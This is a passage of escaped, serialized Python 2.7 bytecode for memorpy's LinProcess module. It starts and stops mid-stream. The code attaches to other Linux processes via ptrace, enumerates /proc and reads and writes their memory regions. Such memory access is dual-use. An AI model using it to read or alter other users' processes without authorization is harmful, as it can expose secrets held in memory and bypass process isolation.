00d\\x0b\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ0\\x00d\\x01\\x00S(\\x0c\\x00\\x00\\x00i\\xff\\xff\\xff\\xffN(\\t\\x00\\x00\\x00t\\x14\\x00\\x00\\x00create_string_buffert\\x05\\x00\\x00\\x00byreft\\x05\\x00\\x00\\x00c_intt\\x08\\x00\\x00\\x00c_void_pt\\x06\\x00\\x00\\x00c_longt\\x08\\x00\\x00\\x00c_size_tt\\t\\x00\\x00\\x00c_ssize_tt\\x07\\x00\\x00\\x00POINTERt\\t\\x00\\x00\\x00get_errno(\\x02\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00BaseProcesst\\x10\\x00\\x00\\x00ProcessException(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*t\\x07\\x00\\x00\\x00memorpys\\t\\x00\\x00\\x00libc.so.6t\\t\\x00\\x00\\x00use_errnoc\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s:\\x00\\x00\\x00|\\x00\\x00d\\x01\\x00k\\x02\\x00r6\\x00t\\x00\\x00\\x83\\x00\\x00p\\x1b\\x00t\\x01\\x00j\\x02\\x00}\\x03\\x00t\\x03\\x00t\\x04\\x00j\\x05\\x00|\\x03\\x00\\x83\\x01\\x00\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00|\\x00\\x00S(\\x02\\x00\\x00\\x00Ni\\xff\\xff\\xff\\xff(\\x06\\x00\\x00\\x00R\\x08\\x00\\x00\\x00t\\x05\\x00\\x00\\x00errnot\\x05\\x00\\x00\\x00EPERMt\\x07\\x00\\x00\\x00OSErrort\\x02\\x00\\x00\\x00ost\\x08\\x00\\x00\\x00strerror(\\x04\\x00\\x00\\x00t\\x03\\x00\\x00\\x00rett\\x04\\x00\\x00\\x00funct\\x04\\x00\\x00\\x00argst\\x06\\x00\\x00\\x00_errno(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x08\\x00\\x00\\x00errcheck$\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x12\\x01\\x18\\x01s\\x15\\x00\\x00\\x00no Large File Supportt\\n\\x00\\x00\\x00LinProcessc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00B\\x00\\x00\\x00s\\xa4\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x0e\\x00d\\x0e\\x00e\\x03\\x00d\\x0e\\x00d\\x00\\x00\\x84\\x04\\x00Z\\x04\\x00d\\x01\\x00\\x84\\x00\\x00Z\\x05\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x06\\x00d\\x03\\x00\\x84\\x00\\x00Z\\x07\\x00d\\x04\\x00\\x84\\x00\\x00Z\\x08\\x00e\\t\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\n\\x00e\\t\\x00d\\x06\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\x0b\\x00d\\x07\\x00\\x84\\x00\\x00Z\\x0c\\x00d\\x0e\\x00d\\x0e\\x00d\\x0e\\x00d\\x0e\\x00d\\x08\\x00\\x84\\x04\\x00Z\\r\\x00d\\t\\x00\\x84\\x00\\x00Z\\x0e\\x00d\\n\\x00\\x84\\x00\\x00Z\\x0f\\x00d\\x0b\\x00\\x84\\x00\\x00Z\\x10\\x00d\\x0c\\x00d\\r\\x00\\x84\\x01\\x00Z\\x11\\x00RS(\\x0f\\x00\\x00\\x00c\\x05\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\xae\\x00\\x00\\x00t\\x00\\x00t\\x01\\x00|\\x00\\x00\\x83\\x02\\x00j\\x02\\x00\\x83\\x00\\x00\\x01d\\x03\\x00|\\x00\\x00_\\x04\\x00t\\x05\\x00|\\x00\\x00_\\x06\\x00|\\x01\\x00d\\x03\\x00k\\t\\x00r=\\x00|\\x01\\x00|\\x00\\x00_\\x07\\x00n-\\x00|\\x02\\x00d\\x03\\x00k\\t\\x00r^\\x00t\\x01\\x00j\\x08\\x00|\\x02\\x00\\x83\\x01\\x00|\\x00\\x00_\\x07\\x00n\\x0c\\x00t\\t\\x00d\\x01\\x00\\x83\\x01\\x00\\x82\\x01\\x00|\\x04\\x00d\\x03\\x00k\\x08\\x00r\\xa0\\x00t\\n\\x00j\\x0b\\x00\\x83\\x00\\x00d\\x02\\x00k\\x02\\x00r\\x94\\x00t\\x05\\x00|\\x00\\x00_\\x0c\\x00q\\xa0\\x00t\\r\\x00|\\x00\\x00_\\x0c\\x00n\\x00\\x00|\\x00\\x00j\\x0e\\x00\\x83\\x00\\x00\\x01d\\x03\\x00S(\\x04\\x00\\x00\\x00s@\\x00\\x00\\x00 Create and Open a process object from its pid or from its name s=\\x00\\x00\\x00You need to instanciate process with at least a name or a pidi\\x00\\x00\\x00\\x00N(\\x0f\\x00\\x00\\x00t\\x05\\x00\\x00\\x00superR\\x18\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__init__t\\x04\\x00\\x00\\x00Nonet\\x08\\x00\\x00\\x00mem_filet\\x05\\x00\\x00\\x00Falset\\x0e\\x00\\x00\\x00ptrace_startedt\\x03\\x00\\x00\\x00pidt\\r\\x00\\x00\\x00pid_from_namet\\n\\x00\\x00\\x00ValueErrorR\\x11\\x00\\x00\\x00t\\x06\\x00\\x00\\x00getuidt\\x0b\\x00\\x00\\x00read_ptracet\\x04\\x00\\x00\\x00Truet\\x05\\x00\\x00\\x00_open(\\x05\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selfR\\x1f\\x00\\x00\\x00t\\x04\\x00\\x00\\x00namet\\x05\\x00\\x00\\x00debugt\\x06\\x00\\x00\\x00ptrace(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR\\x1a\\x00\\x00\\x00G\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00\\x00\\x02\\x13\\x01\\t\\x01\\t\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x15\\x02\\x0c\\x01\\x0c\\x01\\x12\\x01\\x0c\\x02\\x0c\\x01c\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s\\xd9\\x00\\x00\\x00y\\x9e\\x00t\\x00\\x00d\\x01\\x00d\\x02\\x00\\x83\\x02\\x00\\x8f\\x1f\\x00}\\x01\\x00t\\x01\\x00|\\x01\\x00j\\x02\\x00\\x83\\x00\\x00j\\x03\\x00\\x83\\x00\\x00\\x83\\x01\\x00}\\x02\\x00Wd\\x03\\x00QX|\\x02\\x00d\\x04\\x00k\\x02\\x00rO\\x00t\\x04\\x00j\\x05\\x00d\\x05\\x00\\x83\\x01\\x00\\x01n\\x00\\x00t\\x06\\x00j\\x07\\x00\\x83\\x00\\x00d\\x06\\x00k\\x02\\x00re\\x00d\\x03\\x00S|\\x02\\x00d\\x07\\x00k\\x02\\x00r\\x81\\x00t\\x04\\x00j\\x05\\x00d\\x08\\x00\\x83\\x01\\x00\\x01n\\x1c\\x00|\\x02\\x00d\\t\\x00k\\x02\\x00r\\x9d\\x00t\\x04\\x00j\\x05\\x00d\\n\\x00\\x83\\x01\\x00\\x01n\\x00\\x00Wn4\\x00\\x04t\\x08\\x00k\\n\\x00r\\xb1\\x00\\x01\\x01\\x01n$\\x00\\x04t\\t\\x00k\\n\\x00r\\xd4\\x00\\x01}\\x03\\x00\\x01t\\x04\\x00j\\x05\\x00d\\x0b\\x00|\\x03\\x00\\x16\\x83\\x01\\x00\\x01n\\x01\\x00Xd\\x03\\x00S(\\x0c\\x00\\x00\\x00s\\x15\\x05\\x00\\x00 check ptrace scope and raise an exception if privileges are unsufficient\\n\\n The sysctl settings (writable only with CAP_SYS_PTRACE) are:\\n\\n 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other\\n process running under the same uid, as long as it is dumpable (i.e.\\n did not transition uids, start privileged, or have called\\n prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is\\n unchanged.\\n\\n 1 - restricted ptrace: a process must have a predefined relationship\\n with the inferior it wants to call PTRACE_ATTACH on. By default,\\n this relationship is that of only its descendants when the above\\n classic criteria is also met. To change the relationship, an\\n inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare\\n an allowed debugger PID to call PTRACE_ATTACH on the inferior.\\n Using PTRACE_TRACEME is unchanged.\\n\\n 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace\\n with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.\\n\\n 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via\\n PTRACE_TRACEME. Once set, this sysctl value cannot be changed.\\n s"\\x00\\x00\\x00/proc/sys/kernel/yama/ptrace_scopet\\x02\\x00\\x00\\x00rbNi\\x03\\x00\\x00\\x00s&\\x00\\x00\\x00yama/ptrace_scope == 3 (no attach). :/i\\x00\\x00\\x00\\x00i\\x01\\x00\\x00\\x00sP\\x00\\x00\\x00yama/ptrace_scope == 1 (restricted). you can\\\'t ptrace other process ... get rooti\\x02\\x00\\x00\\x00sK\\x00\\x00\\x00yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACEs"\\x00\\x00\\x00Error getting ptrace_scope ?? : %s(\\n\\x00\\x00\\x00t\\x04\\x00\\x00\\x00opent\\x03\\x00\\x00\\x00intt\\x04\\x00\\x00\\x00readt\\x05\\x00\\x00\\x00stript\\x06\\x00\\x00\\x00loggert\\x07\\x00\\x00\\x00warningR\\x11\\x00\\x00\\x00R"\\x00\\x00\\x00t\\x07\\x00\\x00\\x00IOErrort\\t\\x00\\x00\\x00Exception(\\x04\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x01\\x00\\x00\\x00ft\\x0c\\x00\\x00\\x00ptrace_scopet\\x01\\x00\\x00\\x00e(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x12\\x00\\x00\\x00check_ptrace_scopeY\\x00\\x00\\x00s\\x1e\\x00\\x00\\x00\\x00\\x19\\x03\\x01\\x12\\x01\\x1e\\x01\\x0c\\x01\\x10\\x01\\x12\\x01\\x04\\x01\\x0c\\x01\\x10\\x01\\x0c\\x01\\x14\\x02\\r\\x01\\x03\\x02\\x0f\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00r\\x16\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00\\x01n\\x00\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00t\\r\\x00\\x00\\x00ptrace_detach(\\x01\\x00\\x00\\x00R&\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x05\\x00\\x00\\x00close\\x84\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\x00\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00r\\x16\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00\\x01n\\x00\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00R7\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R&\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x07\\x00\\x00\\x00__del__\\x88\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\x00\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s@\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00_\\x01\\x00|\\x00\\x00j\\x02\\x00\\x83\\x00\\x00\\x01t\\x03\\x00j\\x04\\x00\\x83\\x00\\x00d\\x01\\x00k\\x03\\x00r<\\x00|\\x00\\x00j\\x05\\x00\\x83\\x00\\x00\\x01|\\x00\\x00j\\x06\\x00\\x83\\x00\\x00\\x01n\\x00\\x00d\\x00\\x00S(\\x02\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00(\\x07\\x00\\x00\\x00R$\\x00\\x00\\x00t\\r\\x00\\x00\\x00isProcessOpenR6\\x00\\x00\\x00R\\x11\\x00\\x00\\x00R"\\x00\\x00\\x00t\\r\\x00\\x00\\x00ptrace_attachR7\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R&\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR%\\x00\\x00\\x00\\x8c\\x00\\x00\\x00s\\n\\x00\\x00\\x00\\x00\\x01\\t\\x01\\n\\x01\\x12\\x02\\n\\x01c\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00sf\\x00\\x00\\x00g\\x00\\x00}\\x00\\x00xY\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00\\x83\\x01\\x00D]H\\x00}\\x01\\x00y8\\x00t\\x00\\x00j\\x02\\x00d\\x02\\x00|\\x01\\x00\\x16\\x83\\x01\\x00}\\x02\\x00|\\x00\\x00j\\x03\\x00i\\x02\\x00t\\x04\\x00|\\x01\\x00\\x83\\x01\\x00d\\x03\\x006|\\x02\\x00d\\x04\\x006\\x83\\x01\\x00\\x01Wq\\x16\\x00\\x01\\x01\\x01q\\x16\\x00Xq\\x16\\x00W|\\x00\\x00S(\\x05\\x00\\x00\\x00Ns\\x05\\x00\\x00\\x00/procs\\x0c\\x00\\x00\\x00/proc/%s/exeR\\x1f\\x00\\x00\\x00R\\\'\\x00\\x00\\x00(\\x05\\x00\\x00\\x00R\\x11\\x00\\x00\\x00t\\x07\\x00\\x00\\x00listdirt\\x08\\x00\\x00\\x00readlinkt\\x06\\x00\\x00\\x00appendR,\\x00\\x00\\x00(\\x03\\x00\\x00\\x00t\\t\\x00\\x00\\x00processesR\\x1f\\x00\\x00\\x00t\\x03\\x00\\x00\\x00exe(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x04\\x00\\x00\\x00list\\x94\\x00\\x00\\x00s\\x10\\x00\\x00\\x00\\x00\\x02\\x06\\x01\\x16\\x01\\x03\\x01\\x13\\x01%\\x01\\x03\\x01\\x08\\x01c\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s\\x8d\\x00\\x00\\x00xv\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00\\x83\\x01\\x00D]e\\x00}\\x01\\x00y\\x0e\\x00t\\x02\\x00|\\x01\\x00\\x83\\x01\\x00\\x01Wn\\n\\x00\\x01\\x01\\x01q\\x10\\x00n\\x01\\x00Xd\\x02\\x00}\\x02\\x00t\\x03\\x00d\\x03\\x00|\\x01\\x00\\x16d\\x04\\x00\\x83\\x02\\x00\\x8f\\x13\\x00}\\x03\\x00|\\x03\\x00j\\x04\\x00\\x83\\x00\\x00}\\x02\\x00Wd\\x00\\x00QX|\\x00\\x00|\\x02\\x00k\\x06\\x00r\\x10\\x00t\\x02\\x00|\\x01\\x00\\x83\\x01\\x00Sq\\x10\\x00Wt\\x05\\x00d\\x05\\x00|\\x00\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00d\\x00\\x00S(\\x06\\x00\\x00\\x00Ns\\x05\\x00\\x00\\x00/proct\\x00\\x00\\x00\\x00s\\x10\\x00\\x00\\x00/proc/%s/cmdlinet\\x01\\x00\\x00\\x00rs\\x1d\\x00\\x00\\x00No process with such name: %s(\\x06\\x00\\x00\\x00R\\x11\\x00\\x00\\x00R<\\x00\\x00\\x00R,\\x00\\x00\\x00R+\\x00\\x00\\x00R-\\x00\\x00\\x00R\\n\\x00\\x00\\x00(\\x04\\x00\\x00\\x00R\\\'\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00t\\x05\\x00\\x00\\x00pnameR3\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR \\x00\\x00\\x00\\x9f\\x00\\x00\\x00s\\x16\\x00\\x00\\x00\\x00\\x03\\x16\\x01\\x03\\x01\\x0e\\x01\\x03\\x01\\x07\\x01\\x06\\x01\\x16\\x01\\x12\\x01\\x0c\\x01\\x0e\\x01c\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s\\xe6\\x00\\x00\\x00t\\x00\\x00j\\x01\\x00|\\x01\\x00r\\x12\\x00t\\x02\\x00n\\x03\\x00t\\x03\\x00\\x83\\x01\\x00}\\x02\\x00t\\x04\\x00|\\x00\\x00j\\x05\\x00\\x83\\x01\\x00}\\x03\\x00t\\x00\\x00j\\x06\\x00\\x83\\x00\\x00}\\x04\\x00|\\x01\\x00sh\\x00t\\x07\\x00j\\x08\\x00|\\x00\\x00j\\x05\\x00t\\t\\x00j\\n\\x00\\x83\\x02\\x00\\x01t\\x07\\x00j\\x0b\\x00|\\x00\\x00j\\x05\\x00d\\x01\\x00\\x83\\x02\\x00\\x01n\\x00\\x00t\\x0c\\x00|\\x02\\x00|\\x03\\x00|\\x04\\x00|\\x04\\x00\\x83\\x04\\x00}\\x05\\x00|\\x01\\x00s\\x9c\\x00t\\x07\\x00j\\x08\\x00|\\x00\\x00j\\x05\\x00t\\t\\x00j\\r\\x00\\x83\\x02\\x00\\x01n\\x00\\x00|\\x05\\x00d\\x01\\x00k\\x03\\x00r\\xe2\\x00t\\x0e\\x00d\\x02\\x00|\\x01\\x00r\\xba\\x00d\\x03\\x00n\\x03\\x00d\\x04\\x00t\\x0f\\x00j\\x10\\x00j\\x11\\x00t\\x00\\x00j\\x12\\x00\\x83\\x00\\x00d\\x05\\x00\\x83\\x02\\x00f\\x02\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00d\\x00\\x00S(\\x06\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00s\\x06\\x00\\x00\\x00%s: %st\\r\\x00\\x00\\x00PTRACE_ATTACHt\\r\\x00\\x00\\x00PTRACE_DETACHt\\x07\\x00\\x00\\x00UNKNOWN(\\x13\\x00\\x00\\x00t\\x06\\x00\\x00\\x00ctypesR\\x02\\x00\\x00\\x00RE\\x00\\x00\\x00RF\\x00\\x00\\x00t\\x07\\x00\\x00\\x00c_pid_tR\\x1f\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x11\\x00\\x00\\x00t\\x04\\x00\\x00\\x00killt\\x06\\x00\\x00\\x00signalt\\x07\\x00\\x00\\x00SIGSTOPt\\x07\\x00\\x00\\x00waitpidt\\x08\\x00\\x00\\x00c_ptracet\\x07\\x00\\x00\\x00SIGCONTR\\x10\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00t\\t\\x00\\x00\\x00errorcodet\\x03\\x00\\x00\\x00getR\\x08\\x00\\x00\\x00(\\x06\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x06\\x00\\x00\\x00attacht\\x02\\x00\\x00\\x00opt\\x05\\x00\\x00\\x00c_pidt\\x04\\x00\\x00\\x00nullt\\x03\\x00\\x00\\x00err(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x07\\x00\\x00\\x00_ptrace\\xaf\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00\\x00\\x01\\x1b\\x01\\x0f\\x01\\x0c\\x02\\x06\\x01\\x16\\x01\\x16\\x02\\x15\\x02\\x06\\x01\\x19\\x02\\x0c\\x01\\x06\\x01\\x0f\\x01c\\x05\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\r\\x00\\x00\\x00c\\x00\\x00\\x00s\\xbe\\x01\\x00\\x00t\\x00\\x00d\\x01\\x00t\\x01\\x00|\\x00\\x00j\\x02\\x00\\x83\\x01\\x00\\x17d\\x02\\x00\\x17d\\x03\\x00\\x83\\x02\\x00\\x8f\\x98\\x01}\\x05\\x00x\\x8e\\x01|\\x05\\x00D]\\x86\\x01}\\x06\\x00t\\x03\\x00j\\x04\\x00d\\x04\\x00|\\x06\\x00\\x83\\x02\\x00}\\x07\\x00t\\x05\\x00|\\x07\\x00j\\x06\\x00d\\x05\\x00\\x83\\x01\\x00d\\x06\\x00\\x83\\x02\\x00t\\x05\\x00|\\x07\\x00j\\x06\\x00d\\x07\\x00\\x83\\x01\\x00d\\x06\\x00\\x83\\x02\\x00|\\x07\\x00j\\x06\\x00d\\x08\\x00\\x83\\x01\\x00|\\x07\\x00j\\x06\\x00d\\t\\x00\\x83\\x01\\x00|\\x07\\x00j\\x06\\x00d\\n\\x00\\x83\\x01\\x00t\\x05\\x00|\\x07\\x00j\\x06\\x00d\\x0b\\x00\\x83\\x01\\x00\\x83\\x01\\x00|\\x07\\x00j\\x06\\x00d\\x0c\\x00\\x83\\x01\\x00f\\x07\\x00\\\\\\x07\\x00}\\x08\\x00}\\t\\x00}\\n\\x00}\\x0b\\x00}\\x0c\\x00}\\r\\x00}\\x0e\\x00|\\x01\\x00d\\x12\\x00k\\t\\x00r\\xea\\x00|\\x08\\x00|\\x01\\x00k\\x00\\x00r\\xea\\x00q*\\x00q\\xea\\x00n\\x00\\x00|\\x02\\x00d\\x12\\x00k\\t\\x00r\\x0b\\x01|\\x08\\x00|\\x02\\x00k\\x04\\x00r\\x0b\\x01q*\\x00q\\x0b\\x01n\\x00\\x00|\\t\\x00|\\x08\\x00\\x18}\\x0f\\x00d\\x03\\x00|\\n\\x00k\\x06\\x00r*\\x00|\\x04\\x00r\\xa2\\x01d\\r\\x00|\\x04\\x00k\\x06\\x00rE\\x01|\\r\\x00d\\x0e\\x00k\\x03\\x00rE\\x01q*\\x00n\\x00\\x00d\\x0f\\x00|\\x04\\x00k\\x06\\x00rc\\x01d\\x0f\\x00|\\n\\x00k\\x06\\x00rc\\x01q*\\x00n\\x00\\x00d\\x10\\x00|\\x04\\x00k\\x06\\x00r\\x81\\x01d\\x10\\x00|\\n\\x00k\\x06\\x00r\\x81\\x01q*\\x00n\\x00\\x00d\\x03\\x00|\\x04\\x00k\\x06\\x00r\\xa2\\x01d\\x11\\x00|\\n\\x00k\\x07\\x00r\\xa2\\x01q*\\x00q\\xa2\\x01n\\x00\\x00|\\x08\\x00|\\x0f\\x00f\\x02\\x00V\\x01q*\\x00q*\\x00WWd\\x12\\x00QXd\\x12\\x00S(\\x13\\x00\\x00\\x00s\\xe2\\x00\\x00\\x00\\n optimizations :\\n i for inode==0 (no file mapping)\\n s to avoid scanning shared regions\\n x to avoid scanning x regions\\n r don\\\'t scan ronly regions\\n s\\x06\\x00\\x00\\x00/proc/s\\x05\\x00\\x00\\x00/mapsRC\\x00\\x00\\x00sl\\x00\\x00\\x00([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\\\\s+([-rwpsx]+)\\\\s+([0-9A-Fa-f]+)\\\\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\\\\s+([0-9]+)\\\\s*(.*)i\\x01\\x00\\x00\\x00i\\x10\\x00\\x00\\x00i\\x02\\x00\\x00\\x00i\\x03\\x00\\x00\\x00i\\x04\\x00\\x00\\x00i\\x05\\x00\\x00\\x00i\\x06\\x00\\x00\\x00i\\x07\\x00\\x00\\x00t\\x01\\x00\\x00\\x00ii\\x00\\x00\\x00\\x00t\\x01\\x00\\x00\\x00st\\x01\\x00\\x00\\x00xt\\x01\\x00\\x00\\x00wN(\\x08\\x00\\x00\\x00R+\\x00\\x00\\x00t\\x03\\x00\\x00\\x00strR\\x1f\\x00\\x00\\x00t\\x02\\x00\\x00\\x00ret\\x05\\x00\\x00\\x00matchR,\\x00\\x00\\x00t\\x05\\x00\\x00\\x00groupR\\x1b\\x00\\x00\\x00(\\x10\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00start_offsett\\n\\x00\\x00\\x00end_offsett\\x06\\x00\\x00\\x00protect\\r\\x00\\x00\\x00optimizationst\\t\\x00\\x00\\x00maps_filet\\x04\\x00\\x00\\x00linet\\x01\\x00\\x00\\x00mt\\x05\\x00\\x00\\x00startt\\x03\\x00\\x00\\x00endt\\r\\x00\\x00\\x00region_protect\\x06\\x00\\x00\\x00offsett\\x03\\x00\\x00\\x00devt\\x05\\x00\\x00\\x00inodet\\x08\\x00\\x00\\x00pathnamet\\x05\\x00\\x00\\x00chunk(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x0b\\x00\\x00\\x00iter_region\\xc3\\x00\\x00\\x00s,\\x00\\x00\\x00\\x00\\x08#\\x01\\r\\x01\\x12\\x01\\x87\\x01\\x0c\\x01\\x0c\\x01\\t\\x01\\x0c\\x01\\x0c\\x01\\t\\x01\\n\\x01\\x0c\\x01\\x06\\x01\\x18\\x01\\x06\\x01\\x18\\x01\\x06\\x01\\x18\\x01\\x06\\x01\\x18\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s(\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00s$\\x00|\\x00\\x00j\\x01\\x00t\\x02\\x00\\x83\\x01\\x00}\\x01\\x00t\\x02\\x00|\\x00\\x00_\\x00\\x00n\\x00\\x00|\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x03\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00RW\\x00\\x00\\x00R$\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x03\\x00\\x00\\x00res(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR;\\x00\\x00\\x00\\xe2\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x0f\\x01\\x0c\\x01c\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s(\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00r$\\x00|\\x00\\x00j\\x01\\x00t\\x02\\x00\\x83\\x01\\x00}\\x01\\x00t\\x02\\x00|\\x00\\x00_\\x00\\x00n\\x00\\x00|\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x03\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00RW\\x00\\x00\\x00R\\x1d\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R&\\x00\\x00\\x00Rp\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR7\\x00\\x00\\x00\\xe8\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x0f\\x01\\x0c\\x01c\\x03\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x08\\x00\\x00\\x00C\\x00\\x00\\x00sv\\x01\\x00\\x00|\\x00\\x00j\\x00\\x00s\\x16\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00\\x01n\\x00\\x00t\\x02\\x00|\\x00\\x00j\\x03\\x00\\x83\\x01\\x00}\\x03\\x00t\\x04\\x00j\\x05\\x00\\x83\\x00\\x00}\\x04\\x00t\\x04\\x00j\\x06\\x00t\\x04\\x00j\\x05\\x00\\x83\\x01\\x00}\\x05\\x00x"\\x01t\\x07\\x00d\\x01\\x00t\\x08\\x00|\\x02\\x00\\x83\\x01\\x00|\\x05\\x00\\x83\\x03\\x00D]\\x08\\x01}\\x06\\x00|\\x02\\x00|\\x06\\x00|\\x06\\x00|\\x05\\x00\\x17!}\\x07\\x00t\\x08\\x00|\\x07\\x00\\x83\\x01\\x00|\\x05\\x00k\\x00\\x00r\\xc5\\x00|\\x00\\x00j\\t\\x00t\\n\\x00|\\x01\\x00\\x83\\x01\\x00|\\x06\\x00\\x17t\\x08\\x00|\\x07\\x00\\x83\\x01\\x00\\x17d\\x02\\x00|\\x05\\x00t\\x08\\x00|\\x07\\x00\\x83\\x01\\x00\\x18\\x83\\x01\\x01}\\x08\\x00|\\x07\\x00|\\x08\\x